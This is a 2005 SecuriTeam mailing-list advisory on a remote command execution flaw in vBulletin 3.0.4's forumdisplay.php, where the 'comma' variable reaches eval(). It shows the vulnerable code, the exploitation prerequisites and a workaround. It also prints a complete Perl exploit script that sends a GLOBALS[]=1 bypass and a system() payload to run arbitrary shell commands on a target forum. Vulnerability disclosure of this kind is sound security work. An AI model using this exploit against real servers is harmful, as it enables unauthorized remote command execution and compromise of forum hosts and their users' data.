[UNIX] vBulletin forumdisplay.php Command Execution Vulnerability

From: SecuriTeam (support_at_securiteam.com)
Date: 02/17/05

  • Next message: SecuriTeam: "[NEWS] Python Arbitrary Code Execution Through SimpleXMLRPCServer"
    To: list@securiteam.com
    Date: 17 Feb 2005 17:02:31 +0200
    
    

    The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com
    - - promotion

    The SecuriTeam alerts list - Free, Accurate, Independent.

    Get your security news from a reliable source.
    http://www.securiteam.com/mailinglist.html

    - - - - - - - - -

      vBulletin forumdisplay.php Command Execution Vulnerability
    ------------------------------------------------------------------------

    SUMMARY

     <http://www.vbulletin.com/> vBulletin is "a powerful and widely used
    bulletin board system, based on PHP language and MySQL database".

    A vulnerability in vBulletin's forumdisplay.php allows a remote attacker
    to cause the PHP script to execute arbitrary code via the 'comma'
    variable.

    DETAILS

    Vulnerable Systems:
     * vBulletin version 3.0.4 and prior

    Immune Systems:
     * vBulletin version 3.0.5 or newer

    Vulnerable code in forumdisplay.php:
     if ($vboptions['showforumusers'])
     {
        .
        .
        .
        .

     if ($bbuserinfo['userid'])
     {
        ...
        $comma = ', ';
      }
     ...
     while ($loggedin = $DB_site->fetch_array($forumusers))
     {
        ...
        eval('$activeusers .= "' . $comma .
    fetch_template('forumdisplay_loggedinuser') . '";'); <<==== (Vuln)
        $comma = ', ';
        ...
      }
     ...
     }

    Prequsites:
     * $vboptions['showforumusers'] == True , the admin must set
    showforumusers ON in vBulletin options
     * $bbuserinfo['userid'] == 0 , you must be an visitor/guest
     * $DB_site->fetch_array($forumusers) == True , when you visit the forums,
    it must has at least one user show the forum
     * magic_quotes_gpc must be OFF
     * You must bypass unset($GLOBALS["$_arrykey"]) code in init.php by using:
    GLOBALS[]=1

    Workaround:
     * Disable showforumusers in vbulletin options .
     * add the next line before if ($vboptions['showforumusers']) $comma = '';

    Exploit:
    #!/usr/bin/perl
    # vbulletin 3.0.4 remote command execution by pokleyzz
    <pokleyzz_at_scan-associates.net>
    #
    # Requirement:
    # showforumusers ON
    #
    #
    # bug found by AL3NDALEEB <al3ndaleeb_at_uk2.net>
    #
    # usage :
    # vbulletin30-xp.pl <forumdisplay.php url> <forum id> <command>
    #
    # example :
    # vbulletin30-xp.pl http://192.168.1.78/forumdisplay.php 1 "ls -la"
    #
    # !! Happy Chinese new Year !!

    use IO::Socket;

    sub parse_url {
        local($url) = @_;

        if ($url =~ m#^(\w+):#) {
       $protocol = $1;
       $protocol =~ tr/A-Z/a-z/;
        } else {
       return undef;
        }

        if ($protocol eq "http") {
        if ($url =~ m#^\s*\w+://([\w-\.]+):?(\d*)([^ \t]*)$#) {
          $server = $1;
          $server =~ tr/A-Z/a-z/;
          $port = ($2 ne "" ? $2 : $http_port);
          $path = ( $3 ? $3 : '/');
          return ($protocol, $server, $port, $path);
       }
      return undef;
        }
    }

    sub urlencode{
        my($esc) = @_;
        $esc =~ s/^\s+|\s+$//gs;
        $esc =~ s/([^a-zA-Z0-9_\-.])/uc sprintf("%%%02x",ord($1))/eg;
        $esc =~ s/ /\+/g;
        $esc =~ s/%20/\+/g;
        return $esc;
    }

    $url = $ARGV[0];
    $fid = $ARGV[1];
    $cmd = urlencode($ARGV[2]);

    $http_port = 80;

    $shellcode
    ="GLOBALS[]=1&f=$fid&cmd=$cmd&comma={\${system(\$cmd)}}{\${exit()}}";

    @target = parse_url($url);

    $conn = IO::Socket::INET->new (
              Proto => "tcp",
              PeerAddr => $target[1],
              PeerPort => $target[2],
        ) or die "\nUnable to connect\n";
        
    $conn -> autoflush(1);
    print $conn "GET $target[3]?$shellcode HTTP/1.1\r\nHost:
    $target[1]:$target[2]\r\nConnection: Close\r\n\r\n";
    while (<$conn>){
     print $_;
    }
    close $conn;

    ADDITIONAL INFORMATION

    The information has been provided by <mailto:al3ndaleeb@uk2.net>
    al3ndaleeb.

    ========================================

    This bulletin is sent to members of the SecuriTeam mailing list.
    To unsubscribe from the list, send mail with an empty subject line and body to: list-unsubscribe@securiteam.com
    In order to subscribe to the mailing list, simply forward this email to: list-subscribe@securiteam.com

    ====================
    ====================

    DISCLAIMER:
    The information in this bulletin is provided "AS IS" without warranty of any kind.
    In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages.


  • Next message: SecuriTeam: "[NEWS] Python Arbitrary Code Execution Through SimpleXMLRPCServer"

    Relevant Pages

    • [UNIX] vBulletin SQL Injection While Verifying Subscription Information
      ... The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com ... " <http://www.vbulletin.com/> vBulletin is a powerful, ... In a typical SQL injection scenario, variables from HTTP requests such as ...
      (Securiteam)
    • [UNIX] Trend Micro VirusWall Buffer Overflow in VSAPI Library
      ... The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com ... buffer overflow vulnerability in VSAPI library allows arbitrary code ... is called "vscan" which is set suid root by default. ... permissions and thus granted all local users the privilege to execute the ...
      (Securiteam)
    • [UNIX] SCO Multiple Local Buffer Overflow
      ... The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com ... Local exploitation of a buffer overflow vulnerability in the ppp binary, ... allows attackers to gain root privileges. ...
      (Securiteam)
    • [NT] Microsoft Word 6.0/95 Document Converter Buffer Overflow (MS04-041)
      ... The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com ... WordPad is "a word processing application that uses the MFC rich edit ... Remote exploitation of a buffer overflow vulnerability in Microsoft ... Microsoft Word format files into the Rich Text Format natively handled by ...
      (Securiteam)
    • [UNIX] Tikiwiki Command Injection and Arbitrary File Exposure Vulnerabilities
      ... The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com ... Two security vulnerabilities have been recently discovered in Tikiwiki, ... Remote exploitation of an input validation vulnerability in Tikiwiki ... allows attackers to gain access to arbitrary files on the vulnerable ...
      (Securiteam)